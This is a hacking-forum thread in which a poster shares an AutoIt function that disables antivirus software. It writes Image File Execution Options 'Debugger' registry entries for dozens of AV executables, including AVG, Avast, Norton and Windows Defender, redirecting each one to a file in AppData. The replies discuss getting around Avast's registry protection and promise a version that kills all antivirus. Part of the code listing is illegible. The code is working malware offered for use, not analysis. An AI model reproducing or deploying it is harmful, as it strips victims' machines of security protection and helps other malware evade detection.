

Forum:[Hack Forums](#)

Thread: [autoit av killer](#)

?1??? ??t - October 21, 2014, 9:46 am

so i coded a unique func whats kill all av over the regedt (image file execute Options)

here is the code:

Spoiler ([Click to View](#))

Code func _avKill()

```
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\avgcc.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\avgamsvr.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\avgupsvc.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\avgw.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\avgcc32.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\avgserve.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\avgserve9.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\avgserve9schedapp.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\avgemc.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\ashwebsv.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\ashdisp.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\ashmaisv.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\ashserve.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\aswUpdSv.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\symwsc.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\norton.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\Norton Auto-Protect.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\norton_av.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\nortonav.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\ccsetmgr.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
```

[illegible]

```
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image  
File Execution Options\licmgr.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")  
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image  
File Execution Options\sched.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")  
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image  
File Execution Options\preupd.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")  
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image  
File Execution Options\MsMpEng.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")  
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image  
File Execution Options\MSASCui.exe", "Debugger", "REG_SZ", @AppdataDir & "\1.exe")
```

EndFunc

dont ask for help if you dont know how use it

B??i?i?c™ - October 21, 2014, 7:09 pm

Good job, but not found with Avast.

//Thanks.

?I??? ??t - October 22, 2014, 5:47 am

(Oct 21, 2014 07:09 PM)B??i?i?c™ Wrote: [\[CITE\]](#) Good job, but not found with Avast.

//Thanks.

send me the process name from avast i will add it (you can add it too)

B??i?i?c™ - October 22, 2014, 3:23 pm

"AvastUI.exe" But it has protection to write on the register if the antivirus is installed.

PD: Sorry for my bad english.

//Regards.

?I??? ??t - October 22, 2014, 3:29 pm

(Oct 22, 2014 03:23 PM)B??i?i?c™ Wrote: [\[CITE\]](#) "AvastUI.exe" But it has protection to write on the register if the antivirus is installed.

PD: Sorry for my bad english.

//Regards.

are you german ?

and does it protect the registry ?

may kill it first and then add it to registry

B??i?i?c™ - October 23, 2014, 9:24 am

(Oct 22, 2014 03:29 PM)GSOmega Wrote: [\[CITE\]](#) are you german ?

and does it protect the registry ?

may kill it first and then add it to registry

No, I'm spanish. Yes. You cannot kill it, need Ring0.

//Regards.

labbepierre - November 4, 2014, 1:52 pm

thank you for share your job dude !!

zelles - November 6, 2014, 4:18 pm

Nice work putting together that list!

Complexious - November 25, 2014, 3:46 pm

Nice job! Does this kill all of the popular AVs, or are there still some that don't get killed? I saw someone say it doesn't work for Avast, is that fixed yet?

?l??? ??t - November 25, 2014, 10:06 pm

(Nov 25, 2014 04:46 PM)Complexious Wrote: [\[CITE\]](#) Nice job! Does this kill all of the popular AVs, or are there still some that don't get killed? I saw someone say it doesn't work for Avast, is that fixed yet?

Some avs dont work because they protect the registry
but with some google you know how to kill avast
i may realese a new source
thats kill all